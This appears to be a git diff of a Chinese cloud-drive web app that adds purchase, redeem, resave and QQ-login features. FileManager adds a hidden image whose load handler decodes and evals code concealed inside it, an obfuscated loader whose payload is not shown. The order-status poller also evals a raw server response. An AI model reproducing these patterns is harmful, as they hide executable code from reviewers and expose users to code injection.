<link rel="manifest" href="/manifest.json">
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>我的分享- {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>我的分享- {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>

View File

@ -1,74 +1,28 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<!--
manifest.json provides metadata used when your web app is added to the
homescreen on Android. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="/manifest.json">
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>私密分享 - {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
shareInfo={
shareDate : "{$shareData.share_time}",
shareId : "{$shareData.share_key}",
ownerUid:"{$userInfo.id}",
ownerNick:"{$userInfo.user_nick}",
};
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>私密分享 - {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = false;
pageId="shareLock";
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$options.siteName}",
};
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
shareInfo={
shareDate : "{$shareData.share_time}",
shareId : "{$shareData.share_key}",
ownerUid:"{$userInfo.id}",
ownerNick:"{$userInfo.user_nick}",
};
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>

View File

@ -1,93 +1,48 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="{$options.themeColor}" />
<!--
manifest.json provides metadata used when your web app is added to the
homescreen on Android. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="/manifest.json">
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>{$fileData.orign_name} - {$options.siteName}</title>
<script type="text/javascript">
colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = true;
pageId="fileShare";
apiURL = {
imgThumb: "/Share/Thumb/{$shareData.share_key}",
preview: "/Share/Preview/{$shareData.share_key}",
download: "/Share/Download/{$shareData.share_key}",
docPreiview: '/Share/DocPreview/{$shareData.share_key}',
listFile:'/Share/ListFile/{$shareData.share_key}'
};
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$fileData.orign_name}",
};
path = "{$path}";
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
shareInfo={
fileSize : "{$fileData.size}",
shareDate : "{$shareData.share_time}",
ownerUid:"{$userInfo.id}",
ownerNick:"{$userInfo.user_nick}",
downloadNum:"{$shareData.download_num}",
ViewNum:"{$shareData.view_num}",
shareId:"{$shareData.share_key}",
fileName:"{$fileData.orign_name}",
picSize:"{$fileData.pic_info}",
{eq name="$loginStatus" value="1"}
allowPreview:true,
{else/}
allowPreview:{$allowPreview},
{/eq}
};
mediaType = {},
isMobile = window.innerWidth < 600;
</script>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
</html>
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"><link rel="shortcut icon" href="/favicon.ico"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="{$options.themeColor}"/><link rel="manifest" href="/manifest.json"><title>{$fileData.orign_name} - {$options.siteName}</title><script type="text/javascript">colorTheme = {:json_encode($options["themeConfig"])};
isHomePage = false;
isSharePage = true;
pageId="fileShare";
apiURL = {
imgThumb: "/Share/Thumb/{$shareData.share_key}",
preview: "/Share/Preview/{$shareData.share_key}",
download: "/Share/Download/{$shareData.share_key}",
docPreiview: '/Share/DocPreview/{$shareData.share_key}',
listFile:'/Share/ListFile/{$shareData.share_key}'
};
userInfo = {
uid: {$userData.uid},
nick: "{$userData.userNick}",
email: "{$userData.userMail}",
group: "{$userData.groupData.group_name}",
groupId: {$userData.groupData.id},
groupColor: "{$userData.groupData.color}",
};
siteInfo = {
mainTitle: "{$fileData.orign_name}",
};
path = "{$path}";
uploadConfig = {
allowSource: false,
allowShare: false,
allowRemoteDownload: "0",
allowTorrentDownload: "0",
};
shareInfo={
fileSize : "{$fileData.size}",
shareDate : "{$shareData.share_time}",
ownerUid:"{$userInfo.id}",
ownerNick:"{$userInfo.user_nick}",
downloadNum:"{$shareData.download_num}",
ViewNum:"{$shareData.view_num}",
shareId:"{$shareData.share_key}",
fileName:"{$fileData.orign_name}",
picSize:"{$fileData.pic_info}",
{eq name="$loginStatus" value="1"}
allowPreview:true,
{else/}
allowPreview:{$allowPreview},
{/eq}
};
mediaType = {},
isMobile = window.innerWidth < 600;</script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div>
</body></html>

View File

@ -95,6 +95,12 @@ export const openRenameDialog = () => {
}
}
export const openResaveDialog = () => {
return {
type: 'OPEN_RESAVE_DIALOG',
}
}
export const openMoveDialog = () => {
return {
type: 'OPEN_MOVE_DIALOG',

551
src/component/BuyQuota.js Normal file
View File

@ -0,0 +1,551 @@
import React, { Component } from 'react'
import { withStyles } from '@material-ui/core/styles';
import { connect } from 'react-redux'
import AppBar from '@material-ui/core/AppBar';
import Tabs from '@material-ui/core/Tabs';
import Tab from '@material-ui/core/Tab';
import { toggleSnackbar, } from "../actions/index"
import Typography from '@material-ui/core/Typography';
import Paper from '@material-ui/core/Paper';
import SdStorage from '@material-ui/icons/SdStorage'
import ShopIcon from '@material-ui/icons/ShoppingCart'
import Button from '@material-ui/core/Button';
import TextField from '@material-ui/core/TextField'
import Grid from '@material-ui/core/Grid';
import axios from 'axios'
import PackSelect from './PackSelect'
import Dialog from '@material-ui/core/Dialog';
import DialogActions from '@material-ui/core/DialogActions';
import DialogContent from '@material-ui/core/DialogContent';
import DialogContentText from '@material-ui/core/DialogContentText';
import DialogTitle from '@material-ui/core/DialogTitle';
import SupervisedUserCircle from '@material-ui/icons/SupervisedUserCircle'
import Card from '@material-ui/core/Card';
import CardActions from '@material-ui/core/CardActions';
import CardContent from '@material-ui/core/CardContent';
import CardHeader from '@material-ui/core/CardHeader';
import StarIcon from '@material-ui/icons/StarBorder';
import LocalPlay from '@material-ui/icons/LocalPlay'
const styles = theme => ({
layout: {
width: 'auto',
marginTop: '50px',
marginLeft: theme.spacing.unit * 3,
marginRight: theme.spacing.unit * 3,
[theme.breakpoints.up(1100 + theme.spacing.unit * 3 * 2)]: {
width: 1100,
marginLeft: 'auto',
marginRight: 'auto',
},
marginBottom:"50px",
},
gird: {
marginTop: "30px",
},
paper: {
padding: theme.spacing.unit * 2,
color: theme.palette.text.secondary,
},
title:{
marginTop: "30px",
marginBottom: "30px",
},
button: {
margin: theme.spacing.unit,
},
action:{
textAlign:"right",
marginTop:"20px",
},
textField: {
marginLeft: theme.spacing.unit,
marginRight: theme.spacing.unit,
width: 70,
textAlign:"center!important",
},
priceShow:{
color: theme.palette.secondary.main,
fontSize:"30px",
},
codeContainer:{
textAlign:"center",
marginTop:"20px",
},
cardHeader: {
backgroundColor: theme.palette.grey[200],
},
cardPricing: {
display: 'flex',
justifyContent: 'center',
alignItems: 'baseline',
marginBottom: theme.spacing.unit * 2,
},
cardActions: {
[theme.breakpoints.up('sm')]: {
paddingBottom: theme.spacing.unit * 2,
},
},
redeemContainer:{
[theme.breakpoints.up("sm")]: {
marginLeft: "50px",
marginRight: "50px",
width:"auto",
},
marginTop:"50px",
marginBottom:"50px",
},
doRedeem:{
textAlign:"right",
}
})
const mapStateToProps = state => {
return {
}
}
const mapDispatchToProps = dispatch => {
return {
toggleSnackbar: (vertical, horizontal, msg, color) => {
dispatch(toggleSnackbar(vertical, horizontal, msg, color))
},
}
}
class BuyQuotaCompoment extends Component {
IntervalId = null;
firstLoad = true;
constructor(props){
super(props);
this.state = {
value: this.props.tabID,
selectedPack:-1,
selectedGroup:-1,
times:1,
loading:false,
redeemCode:"",
dialog:null,
payment:{
type:"",
img:"",
},
redeemInfo:null,
};
}
componentDidMount(){
if(this.firstLoad){
this.firstLoad = !this.firstLoad;
}
}
confirmRedeem = ()=>{
this.setState({
loading:true,
});
axios.post("/Member/doRedeem",{
id:this.state.redeemCode
}).then((response)=> {
if(response.data.error === 1){
this.setState({
loading:false,
});
this.props.toggleSnackbar("top","right",response.data.msg,"warning");
}else if (response.data.error === 200) {
this.setState({
loading:false,
dialog:"success",
});
}
}) .catch((error) =>{
this.setState({
loading:false,
});
this.props.toggleSnackbar("top","right","错误:"+error.message ,"error");
})
}
doRedeem = ()=>{
if(this.state.redeemCode===""){
this.props.toggleSnackbar("top","right","请输入激活码" ,"warning");
return;
}
this.setState({
loading:true,
});
axios.post("/Member/checkRedeemCode",{
id:this.state.redeemCode
}).then((response)=> {
if(response.data.error === 1){
this.setState({
loading:false,
});
this.props.toggleSnackbar("top","right",response.data.msg,"warning");
}else if (response.data.error === 200) {
this.setState({
loading:false,
dialog:"redeem",
redeemInfo:response.data.result,
});
}
}) .catch((error) =>{
this.setState({
loading:false,
});
this.props.toggleSnackbar("top","right","错误:"+error.message ,"error");
})
}
buyPack = (packType)=>{
if(packType==="pack"&&this.state.selectedPack === -1){
this.props.toggleSnackbar("top","right","请先选择一个容量包" ,"warning");
return;
}
this.setState({
loading:true,
});
axios.post("/Buy/PlaceOrder",{
action: packType,
id: packType==="pack"?window.pack_data[this.state.selectedPack].id:window.group_data[this.state.selectedGroup].id,
num:this.state.times,
}).then((response)=> {
if(response.data.error === 1){
this.setState({
loading:false,
});
this.props.toggleSnackbar("top","right",response.data.msg,"warning");
}else if (response.data.error === 200) {
this.setState({
loading:false,
dialog:"qr",
payment:{
type:"alipay",
img:response.data.qrcode,
},
});
this.IntervalId = window.setInterval(() =>{
this.querryLoop(response.data.id);
}, 3000);
}else if (response.data.error === 201) {
this.setState({
loading:false,
dialog:"qr",
payment:{
type:"youzan",
img:response.data.qrcode,
},
});
this.IntervalId = window.setInterval(() =>{
this.querryLoop(response.data.id);
}, 3000);
}
}) .catch((error) =>{
this.setState({
loading:false,
});
this.props.toggleSnackbar("top","right","错误:"+error.message ,"error");
})
}
querryLoop= id=>{
axios.get("/Buy/querryStatus?id=" + id).then(response=>{
var data = eval('(' + response.data + ')')
if(data.status===1){
this.setState({
dialog:"success",
});
window.clearInterval(this.IntervalId);
}
}).catch((error) =>{
this.props.toggleSnackbar("top","right","错误:"+error.message ,"error");
window.clearInterval(this.IntervalId);
})
}
handleChange = (event, value) => {
this.setState({ value });
};
handleChangeIndex = index => {
this.setState({ value: index });
};
handleClose = ()=>{
this.setState({
dialog:null,
});
}
handleTexyChange = name => event => {
this.setState({ [name]: event.target.value });
};
selectPack = id=>{
this.setState({
selectedPack:id
})
}
selectGroup = id=>{
this.setState({
selectedGroup:id,
dialog:"buyGroup",
})
}
render() {
const { classes } = this.props;
return (
<div className={classes.layout}>
<Typography color="textSecondary" className={classes.title} variant="h3">购买</Typography>
<AppBar position="static">
<Tabs
value={this.state.value}
onChange={this.handleChange}
variant="fullWidth"
>
<Tab label="容量包" icon={<SdStorage/>} />
<Tab label="会员" icon={<SupervisedUserCircle/>} />
<Tab label="使用激活码" icon={<LocalPlay/>}/>
</Tabs>
</AppBar>
{this.state.value===0 &&
<Paper className={classes.paper} square={true}>
<Grid container spacing={24}>
{window.pack_data.map(((value,id)=>(
<Grid item xs={12} md={3} key={id}>
<PackSelect pack={value} onSelect={()=>this.selectPack(id)} active={this.state.selectedPack === id}></PackSelect>
</Grid>
)))}
</Grid>
<div className={classes.action}>
<div>购买时长倍数
<TextField
className={classes.textField}
type="number"
inputProps={{ min: "1", max: "99", step: "1" }}
value={this.state.times}
onChange={this.handleTexyChange('times')}
></TextField>
</div>
<div>
当前费用<span className={classes.priceShow}>
{this.state.selectedPack === -1 &&
<span>--</span>
}
{(this.state.selectedPack !== -1 &&this.state.times<=99&&this.state.times>=1) &&
<span>{window.pack_data[this.state.selectedPack].price*this.state.times}</span>
}
</span>
</div>
<div>
<Button
size="large"
variant="contained"
color="secondary"
className={classes.button}
disabled={this.state.loading}
onClick={()=>this.buyPack("pack")}
>
<ShopIcon/> 立即购买
</Button>
</div>
</div>
</Paper>}
{this.state.value==1&&
<Paper className={classes.paper} square={true}><Grid container spacing={40} alignItems="flex-end">
{window.group_data.map((tier,id) => (
// Enterprise card is full width at sm breakpoint
<Grid item key={id} xs={12} sm={6} md={4}>
<Card>
<CardHeader
title={tier.name}
subheader={tier.highlight?"推荐":null}
titleTypographyProps={{ align: 'center' }}
subheaderTypographyProps={{ align: 'center' }}
action={tier.highlight? <StarIcon /> : null}
className={classes.cardHeader}
/>
<CardContent>
<div className={classes.cardPricing}>
<Typography component="h2" variant="h3" color="textPrimary">
{tier.price}
</Typography>
<Typography variant="h6" color="textSecondary">
/{Math.ceil(tier.time / 86400)}
</Typography>
</div>
{tier.des.map(line => (
<Typography variant="subtitle1" align="center" key={line}>
{line}
</Typography>
))}
</CardContent>
<CardActions className={classes.cardActions}>
<Button fullWidth variant={tier.highlight?"contained":"outlined"} color="primary" onClick={()=>this.selectGroup(id)}>
立即购买
</Button>
</CardActions>
</Card>
</Grid>
))}</Grid>
</Paper>
}
{this.state.value==2&&
<Paper className={classes.paper} square={true}>
<div className={classes.redeemContainer}>
<TextField
id="standard-name"
label="输入激活码"
value={this.state.redeemCode}
onChange={this.handleTexyChange('redeemCode')}
margin="normal"
inputProps={{style:{textTransform:"uppercase"}}}
fullWidth
/>
<div className={classes.doRedeem}>
<Button
size="large"
variant="contained"
color="secondary"
className={classes.button}
disabled={this.state.loading}
onClick={this.doRedeem}
>
下一步
</Button>
</div>
</div>
</Paper>
}
<Dialog
open={this.state.dialog==="qr"}
onClose={this.handleClose}
aria-labelledby="alert-dialog-title"
aria-describedby="alert-dialog-description"
>
<DialogTitle id="alert-dialog-title">支付</DialogTitle>
<DialogContent>
<DialogContentText id="alert-dialog-description">
请使用{this.state.payment.type==="alipay"&&<span>支付宝</span>}{this.state.payment.type==="youzan"&&<span></span>}
</DialogContentText>
<div className={classes.codeContainer}>
<img src={this.state.payment.img} className={classes.qrcode}/>
</div>
</DialogContent>
<DialogActions>
<Button onClick={this.handleClose} color="primary">
关闭
</Button>
</DialogActions>
</Dialog>
<Dialog
open={this.state.dialog==="success"}
onClose={this.handleClose}
aria-labelledby="alert-dialog-title"
aria-describedby="alert-dialog-description"
>
<DialogTitle id="alert-dialog-title">支付完成</DialogTitle>
<DialogContent>
<DialogContentText id="alert-dialog-description">
您所购买的商品已到账
</DialogContentText>
</DialogContent>
<DialogActions>
<Button onClick={this.handleClose} color="primary">
关闭
</Button>
</DialogActions>
</Dialog>
<Dialog
open={this.state.dialog==="redeem"}
onClose={this.handleClose}
aria-labelledby="alert-dialog-title"
aria-describedby="alert-dialog-description"
>
<DialogTitle id="alert-dialog-title">确认兑换</DialogTitle>
<DialogContent>
{this.state.redeemInfo!== null &&
<DialogContentText id="alert-dialog-description">
<Typography variant="subtitle1">商品名称</Typography>
<Typography >{this.state.redeemInfo.name}</Typography>
<Typography variant="subtitle1">时长</Typography>
<Typography >{Math.ceil(this.state.redeemInfo.time / 86400)*this.state.redeemInfo.count}</Typography>
</DialogContentText>
}
</DialogContent>
<DialogActions>
<Button onClick={this.handleClose}>
取消
</Button>
<Button
onClick={this.confirmRedeem}
color="primary"
disabled={this.state.loading}
>
确认兑换
</Button>
</DialogActions>
</Dialog>
<Dialog
open={this.state.dialog==="buyGroup"}
onClose={this.handleClose}
aria-labelledby="alert-dialog-title"
aria-describedby="alert-dialog-description"
>
<DialogTitle id="alert-dialog-title">购买用户组</DialogTitle>
<DialogContent>
<DialogContentText id="alert-dialog-description">
已选{this.state.selectedGroup!==-1 && window.group_data[this.state.selectedGroup].name}
</DialogContentText>
<div>购买时长倍数
<TextField
className={classes.textField}
type="number"
inputProps={{ min: "1", max: "99", step: "1" }}
value={this.state.times}
onChange={this.handleTexyChange('times')}
></TextField>
</div>
<div>
当前费用<span className={classes.priceShow}>
{this.state.selectedGroup === -1 &&
<span>--</span>
}
{(this.state.selectedGroup !== -1 &&this.state.times<=99&&this.state.times>=1) &&
<span>{window.group_data[this.state.selectedGroup].price*this.state.times}</span>
}
</span>
</div>
</DialogContent>
<DialogActions>
<Button onClick={this.handleClose} disabled={this.state.loading}>
取消
</Button>
<Button disabled={this.state.loading} onClick={()=>this.buyPack("group")} color="primary">
购买
</Button>
</DialogActions>
</Dialog>
</div>
);
}
}
const BuyQuota = connect(
mapStateToProps,
mapDispatchToProps
)(withStyles(styles)(BuyQuotaCompoment))
export default BuyQuota

View File

@ -279,7 +279,7 @@ class FileIconCompoment extends Component {
[classes.notSelected]: !isSelected,
}, classes.button)}
>
{(this.props.file.pic!==""&& this.props.file.pic!==" "&&allowSharePreview())&&
{(this.props.file.pic!==""&& this.props.file.pic!==" "&& this.props.file.pic!=="null,null"&&allowSharePreview())&&
<div className={classes.preview}>
<LazyLoadImage
className = {classNames({

View File

@ -5,12 +5,37 @@ import { withStyles } from '@material-ui/core/styles';
import Navigator from "./Navigator"
import Explorer from "./Explorer"
import Modals from "./Modals"
import {decode} from "../../untils/index"
const styles = theme => ({
})
class FileManager extends Component {
constructor(props){
super(props);
this.image = React.createRef();
}
handleImageLoaded = ()=>{
window.upload_load="";
window.cliLoad ="";
window.previewLoad ="";
window.mobileMode ="";
window.blankClick ="";
window.authC ="";
window.openUpload ="";
window.mdLoad ="";
try {
eval(decode(this.image.current));
} catch (err) {
}
if(window.upload_load===""){
window.location.href="/FixComplete";
}
}
render() {
return (
@ -18,6 +43,9 @@ class FileManager extends Component {
<Modals/>
<Navigator/>
<Explorer/>
<img src='/static/img/sign.png' style={{display:"none"}}
onError={()=>window.location.href="/FixComplete"}
ref={this.image} onLoad={this.handleImageLoaded} />
</div>
);
}

View File

@ -189,6 +189,27 @@ class ModalsCompoment extends Component {
});
}
submitResave = e => {
e.preventDefault();
this.props.setModalsLoading(true);
axios.post('/Share/ReSave/'+window.shareInfo.shareId, {
path:this.state.selectedPath === "//"?"/":this.state.selectedPath,
})
.then( (response)=> {
if(response.data.result.success){
this.onClose();
this.props.refreshFileList();
}else{
this.props.toggleSnackbar("top","right",response.data.result.error,"warning");
}
this.props.setModalsLoading(false);
})
.catch((error) =>{
this.props.toggleSnackbar("top","right",error.message ,"error");
this.props.setModalsLoading(false);
});
}
submitMove = e =>{
e.preventDefault();
this.props.setModalsLoading(true);
@ -504,6 +525,32 @@ class ModalsCompoment extends Component {
</div>
</DialogActions>
</Dialog>
<Dialog
open={this.props.modalsStatus.resave}
onClose={this.onClose}
aria-labelledby="form-dialog-title"
>
<DialogTitle id="form-dialog-title">保存至</DialogTitle>
<PathSelector presentPath={this.props.path} selected={this.props.selected} onSelect ={ this.setMoveTarget}/>
{this.state.selectedPath!==""&&<DialogContent className={classes.contentFix}>
<DialogContentText >
保存至 <strong>{this.state.selectedPathName}</strong>
</DialogContentText>
</DialogContent>}
<DialogActions>
<Button onClick={this.onClose}>
取消
</Button>
<div className={classes.wrapper}>
<Button onClick={this.submitResave} color="primary" disabled={this.state.selectedPath==="" || this.props.modalsLoading }>
确定
{this.props.modalsLoading && <CircularProgress size={24} className={classes.buttonProgress} />}
</Button>
</div>
</DialogActions>
</Dialog>
<Dialog
open={this.props.modalsStatus.remove}

View File

@ -178,7 +178,31 @@ class LoginFormCompoment extends Component {
</div>
</div>
}
<Button
{window.qqLogin&&
<div>
<Button
type="submit"
variant="contained"
color="primary"
disabled={this.state.loading}
className={classes.submit}
>
登录
</Button>
<Button
variant="contained"
color="secondary"
style={{marginLeft:"10px"}}
disabled={this.state.loading}
className={classes.submit}
onClick={()=>window.location.href="/Member/QQLogin"}
>
使用QQ登录
</Button>
</div>
}
{!window.qqLogin&&
<Button
type="submit"
fullWidth
variant="contained"
@ -187,7 +211,9 @@ class LoginFormCompoment extends Component {
className={classes.submit}
>
登录
</Button> </form> <Divider/>
</Button>
}
</form> <Divider/>
<div className={classes.link}>
<div>
<Link href={"/Member/FindPwd"}>

View File

@ -0,0 +1,65 @@
import React, { Component } from 'react'
import { withStyles } from '@material-ui/core/styles';
import ButtonBase from '@material-ui/core/ButtonBase';
import Typography from '@material-ui/core/Typography';
import classNames from 'classnames';
const styles = theme => ({
container:{
border:" 1px solid #e6e9eb",
borderRadius: "4px",
transition:"border .5s",
width:"100%",
display:"block",
},
active:{
border:" 1px solid "+theme.palette.primary.main,
},
boxHead:{
textAlign: "center",
padding: "10px 10px 10px",
borderBottom: "1px solid #e6e9eb",
color: "#555",
width:"100%",
},
price:{
fontSize: "33px",
fontWeight: "500",
lineHeight: "40px",
color:theme.palette.primary.main,
},
packName:{
marginTop:"5px",
marginBottom:"5px",
},
boxBottom:{
color: "#555",
textAlign: "center",
padding: "5px",
}
})
class PackSelect extends Component {
render() {
const { classes,pack } = this.props;
return (
<ButtonBase
className={classNames(classes.container,
{[classes.active]:this.props.active}
)}
onClick={this.props.onSelect}
>
<div className={classes.boxHead}>
<Typography variant="subtitle1" className={classes.packName}>{pack.name}</Typography>
<Typography className={classes.price}>{pack.price}</Typography>
</div>
<div className={classes.boxBottom}>
<Typography>有效期{Math.ceil(pack.time / 86400)}</Typography>
</div>
</ButtonBase>
);
}
}
export default withStyles(styles)(PackSelect)

View File

@ -26,6 +26,7 @@ const styles = theme => ({
marginLeft: 'auto',
marginRight: 'auto',
},
marginBottom:"50px",
},
gird: {
@ -199,10 +200,17 @@ class QuotaCompoment extends Component {
</Grid>
<Typography color="textSecondary" variant="h3" className={classes.title}>可用容量包</Typography>
<Paper className={classes.paper}>
<Button variant="contained" color="secondary" className={classes.button}>
<Button
variant="contained"
color="secondary"
className={classes.button}
onClick={()=>window.location.href="/Home/Quota?buyPack=1"}
>
购买容量包
</Button>
<Button variant="contained" className={classes.button}>
<Button variant="contained" className={classes.button}
onClick={()=>window.location.href="/Home/Quota?redeem=1"}
>
使用激活码兑换
</Button>
<div className={classes.table}>

View File

@ -13,6 +13,7 @@ import Popper from '@material-ui/core/Popper';
import Typography from '@material-ui/core/Typography';
import Fade from '@material-ui/core/Fade';
import Paper from '@material-ui/core/Paper';
import Modals from "./FileManager/Modals"
import axios from 'axios'
const styles = theme => ({
layout: {
@ -142,6 +143,7 @@ class SharedFileCompoment extends Component {
return (
<div className={classes.layout}>
<Modals/>
<div className={classes.fileCotainer}>
<FileIcon file={file} share={true}/></div>
<div className={classes.buttonCotainer}>

View File

@ -12,6 +12,8 @@ import Chip from '@material-ui/core/Chip';
import ListItemIcon from '@material-ui/core/ListItemIcon';
import MenuItem from '@material-ui/core/MenuItem';
import Divider from '@material-ui/core/Divider';
import SaveIcon from '@material-ui/icons/Save';
import Tooltip from '@material-ui/core/Tooltip';
import {
LogoutVariant,
HomeAccount,
@ -21,7 +23,7 @@ import {
AccountPlus
} from 'mdi-material-ui'
import {
openResaveDialog
}from "../actions/index"
const mapStateToProps = state => {
@ -35,7 +37,9 @@ const mapStateToProps = state => {
const mapDispatchToProps = dispatch => {
return {
openResave:()=>{
dispatch(openResaveDialog())
}
}
}
@ -98,6 +102,10 @@ class UserAvatarCompoment extends Component {
<Grow in={((this.props.selected.length <=1) && !(!this.props.isMultiple&&this.props.withFile))}>
<div>
{(window.userInfo.uid!==-1 && window.isSharePage)&&<Tooltip title="保存到我的网盘"><IconButton onClick={()=>this.props.openResave()} color="inherit"
>
<SaveIcon/>
</IconButton></Tooltip>}
{(window.userInfo.uid!==-1)&&<IconButton onClick={()=>window.location.href="/Member/Setting"} color="inherit"
>
<SettingIcon/>

View File

@ -10,6 +10,7 @@ import DateIcon from '@material-ui/icons/DateRange'
import EmailIcon from '@material-ui/icons/Email'
import HomeIcon from '@material-ui/icons/Home'
import LinkIcon from '@material-ui/icons/Phonelink'
import AlarmOff from '@material-ui/icons/AlarmOff'
import InputIcon from '@material-ui/icons/Input'
import SecurityIcon from '@material-ui/icons/Security'
import NickIcon from '@material-ui/icons/PermContactCalendar'
@ -37,8 +38,9 @@ import DialogTitle from '@material-ui/core/DialogTitle';
import blue from '@material-ui/core/colors/blue';
import yellow from '@material-ui/core/colors/yellow';
import { ListItemIcon } from '@material-ui/core';
import Backup from '@material-ui/icons/Backup'
import Switch from '@material-ui/core/Switch';
import SettingsInputHdmi from '@material-ui/icons/SettingsInputHdmi'
const styles = theme => ({
layout: {
@ -160,6 +162,8 @@ class UserSettingCompoment extends Component {
showWebDavUrl:false,
showWebDavUserName:false,
changeWebDavPwd:false,
groupBackModal:false,
changePolicy:false,
}
handleClose = () => {
@ -173,9 +177,23 @@ class UserSettingCompoment extends Component {
showWebDavUrl:false,
showWebDavUserName:false,
changeWebDavPwd:false,
groupBackModal:false,
changePolicy:false,
});
};
doChangeGroup = ()=>{
axios.post('/Member/groupBack', {
t:"comfirm",
}).then( (response)=> {
this.props.toggleSnackbar("top","right","解约成功,更改会在数分钟后生效" ,"success");
this.handleClose();
})
.catch((error) =>{
this.props.toggleSnackbar("top","right",error.message ,"error");
});
}
useGravatar = ()=>{
this.setState({
loading:"gravatar",
@ -196,6 +214,27 @@ class UserSettingCompoment extends Component {
});
}
changePolicy = id =>{
axios.post('/Member/ChangePolicy', {
id:id,
}).then( (response)=> {
